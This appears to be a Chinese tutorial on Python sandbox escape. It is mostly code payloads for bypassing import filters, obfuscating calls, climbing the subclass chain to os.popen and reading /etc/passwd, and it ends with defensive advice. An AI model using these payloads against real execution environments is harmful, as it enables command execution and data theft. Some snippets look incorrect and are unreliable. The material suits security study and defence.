Python沙盒逃逸技术详解

一、沙盒逃逸概述

Python沙盒逃逸是指在一个被严格限制的Python执行环境中，通过各种技术手段突破限制，获取更高权限甚至执行系统命令的过程。

关键概念：

• 沙盒：隔离的执行环境，用于限制代码权限
• 逃逸目标：获取执行系统命令的能力（如os.system）、文件读写权限或直接获取shell

二、基础命令执行方法

1. 直接执行系统命令的方式

import os
import subprocess
import commands  # 仅限Python 2.x

# 各种执行命令的方法
os.system('ifconfig')
os.popen('ifconfig').read()
commands.getoutput('ifconfig')  # 2.x
subprocess.call(['ifconfig'], shell=True)

2. 其他可能执行命令的模块

# 各种可能包含危险函数的模块
timeit.timeit("__import__('os').system('whoami')", number=1)
platform.popen('whoami', mode='r', bufsize=-1).read()
pty.spawn('ls')

三、导入防御绕过技术

1. 基础防御检测

防御者常用正则检测敏感导入：

import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
if re.search(pattern, code):
    raise Exception("Forbidden module import detected")

2. 绕过导入检测的方法

(1) 使用__import__函数

__import__('os').system('ls')

(2) 使用importlib

import importlib
importlib.import_module('os').system('ls')

(3) 直接执行模块文件

# Python 2.x
execfile('/usr/lib/python2.7/os.py')
system('ls')

# Python 2.x/3.x
with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')

四、字符串处理技巧

1. 编码转换绕过

# ROT13编码
__import__("pbzznaqf".decode('rot_13')).getoutput('ifconfig')  # commands模块

# 字符串反转
__import__('so'[::-1]).system('ls')

2. 使用eval/exec执行反转字符串

eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

五、sys.modules操作

1. 恢复被删除的模块

import sys
sys.modules['os'] = 'not allowed'  # 假设防御者设置
del sys.modules['os']  # 删除后重新导入
import os
os.system('ls')

2. 直接修改sys.modules

sys.modules['os'] = '/usr/lib/python3.9/os.py'
import os

六、函数调用技巧

1. 使用getattr动态获取函数

import os
getattr(os, 'metsys'[::-1])('whoami')

# 无import版本
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

2. 替代system的其他os函数

os.popen('whoami').read()
os.popen2('whoami').read()  # 2.x
os.popen3('whoami').read()  # 2.x
os.popen4('whoami').read()  # 2.x

七、builtins/builtin利用

1. Python 2.x vs 3.x区别

• 2.x: __builtin__
• 3.x: builtins

2. 通过builtins获取eval

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")

3. 恢复被删除的builtins函数

# Python 2.x
reload(__builtins__)

# Python 3.x
import imp
imp.reload(builtins)

八、继承链逃逸技术

1. 通过继承链获取危险类

# 获取object类
''.__class__.__mro__[-1]

# 获取所有子类
''.__class__.__mro__[-1].__subclasses__()

2. 实际利用示例

# 读取文件示例
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

# Python 2.x完整链
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()

九、文件读写技术

1. 文件读取方法

# Python 2.x
file('/etc/passwd').read()

# Python 2.x/3.x
open('/etc/passwd').read()

# 其他方法
types.FileType('/etc/passwd').read()
platform.popen('cat /etc/passwd').read()
linecache.getlines('/etc/passwd')

2. 文件写入+导入技巧

1. 先写入恶意代码文件(xx.py)
2. 确保文件名不在sys.modules中
3. 导入执行

# 检查模块是否已加载
'math' in sys.modules  # False表示可以安全使用该名称

十、特殊符号限制绕过

1. 替代方括号[]的方法

# 使用__getitem__和pop代替[]
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59)

2. Python 3.6+的f-string利用

f'{__import__("os").system("whoami")}'

十一、应用场景

1. 在线代码执行环境
2. Python交互式shell限制环境
3. 服务器端模板注入(SSTI)
4. 教育类模拟环境

十二、防御建议

1. 使用docker等容器技术隔离
2. 完整沙箱实现而非简单过滤
3. 限制可用模块白名单
4. 监控危险函数调用
5. 定期更新防护规则

总结

Python沙盒逃逸技术多样，关键在于理解Python的导入机制、对象模型和内置功能。防御者需要全面考虑各种可能的绕过方式，而非依赖简单的字符串过滤。最安全的做法是使用真正的隔离环境而非试图过滤所有危险操作。